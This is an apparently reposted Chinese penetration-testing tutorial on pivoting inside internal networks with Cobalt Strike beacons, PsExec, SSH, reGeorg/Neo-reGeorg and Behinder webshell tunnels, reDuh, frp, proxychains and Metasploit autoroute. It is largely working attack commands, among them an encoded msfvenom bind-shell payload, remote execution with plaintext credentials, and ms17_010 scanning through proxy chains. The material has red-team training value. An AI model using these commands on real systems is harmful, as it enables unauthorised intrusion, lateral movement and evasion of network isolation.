beacon > socks 1024 #端口根据VPS实际情况进行设置

fs4aud0pyee14561.png

 菜单栏中的 View > Proxy Pivots ,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。

qi5d0syfdup14562.png

上线不出网机器

这是link链接,只要主链路(出网机Beacon)掉线,均掉!

SMB Beacon

官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。

创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。

(在Listner生成SMB Beacon>目标主机>右键> spawn as>选中对应的Listener>上线)

45zpulu1cs514564.png

 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。

alqjijd5ep314566.png

2on5pydfavx14567.png

 可在主Beacon上用link host链接或unlink host断开。

beacon> link 192.168.144.155beacon> unlink 192.168.144.155

gfx02rmg4af14569.png

Link Listener

 在已上线的主机创建Listener。

 tu25twcnbdq14573.png

 

 

 导出该类型Listener对应的可执行文件或dll等。

lsmdcmfvnpu14575.png

 

 

 选择刚建立的Listener。

pgi1oiqaibu14577.png

 

 

 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)

yjppeafztse14580.png

 

 

 在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。

beacon> shell C:\WINDOWS\Temp\PsExec.exe -accepteula \\192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:\WINDOWS\Temp\beacon.exe

yq2qz5kwlqt14582.png

beacon> shell netstat -ano |findstr 4444

b3qmos2awic14584.png

SSH Login
beacon> ssh 192.168.144.174:22 root adminbeacon> ssh 192.168.144.203:22 root admin

0moanxuai1g14586.png

 在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。

epbil1520vf14588.png

目标不出网(http代理)

目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。

reGeorg (socks5)

python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080

nfb3l5iqb5t14590.png

 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。

3k0d2vatlyo14595.png

Neo-reGeorg (加密)

python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx

使用Neo-reGeorg后,数据包已被加密传输。

bmdimouurxm14597.png

 

 qvua1jgu3vv14602.png

冰蝎 (开socks5)

冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。

虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。

dleyr1ugkn314606.png

reduh (单端口转发)

reduh使用:https://blog.csdn.net/nzjdsds/article/details/82930774

当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境:

wsvyfjec0do14609.png

 

 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。

下面把具体的流程走一遍:

sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe#--platform <platform> 指定payload的目标平台#-e, --encoder <encoder> 指定需要使用的编码器#-i, --iterations <count> 指定payload的编码次数

zgmlpmc2eef14616.png

 上传payload到目标服务器,并执行。

bzdhw1jdmgz14620.png

metasploit是监听转发后的地址与端口。

sudo msfconsole -qmsf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/shell_bind_tcpmsf5 exploit(multi/handler) > set rhost 127.0.0.1msf5 exploit(multi/handler) > set lport 5353msf5 exploit(multi/handler) > run -j

monw0bnpwgg14624.png

java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx telnet 127.0.0.1 1010>>[createTunnel]5353:127.0.0.1:53

vmjxjhpvx4j14630.png

 

 可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 10080msf5 auxiliary(server/socks4a) > run -j

frmkpftajtq14634.png

注意

为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定!

sehmxxu0plq14642.png

隔离网络(多级代理)

 内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理…

frp

现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。

(具体,参考https://www.cnblogs.com/PANDA-Mosen/p/13096260.html)

udxcgscukts14647.png

proxifier

用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序)

odyy4l0quk514649.png

 

 设置代理规则,选择对应代理。

2bc4xk1lpfw14653.png

 

 二层代理成功,内网隔离机445探测开放。

xqwrt25isai14655.png

Proxychains

命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序)

e4z2sn2dkjk14657.png

 

 联动metasploit,ms17_010探测,可以看到代理链的传输过程。

iqlciihlxqb14662.png

 

针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉!

在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。

msf5 exploit(multi/handler) > sessions 1meterpreter > run get_local_subnetsmeterpreter > run autoroute -pmeterpreter > run post/multi/manage/autoroutemeterpreter > run autoroute -pmeterpreter > background

2oiersnnl1o14667.png

 

 上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。

msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1msf5 exploit(multi/handler) > route

mr5cdxcltcp14672.png

 

 可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。

msf5 exploit(multi/handler) > use auxiliary/server/socks4amsf5 auxiliary(server/socks4a) > set srvport 1080msf5 auxiliary(server/socks4a) > run -j

然后打开/etc/proxychains.conf

5gwfniooxf214674.png



原文链接: https://www.cnblogs.com/yokan/p/14057794.html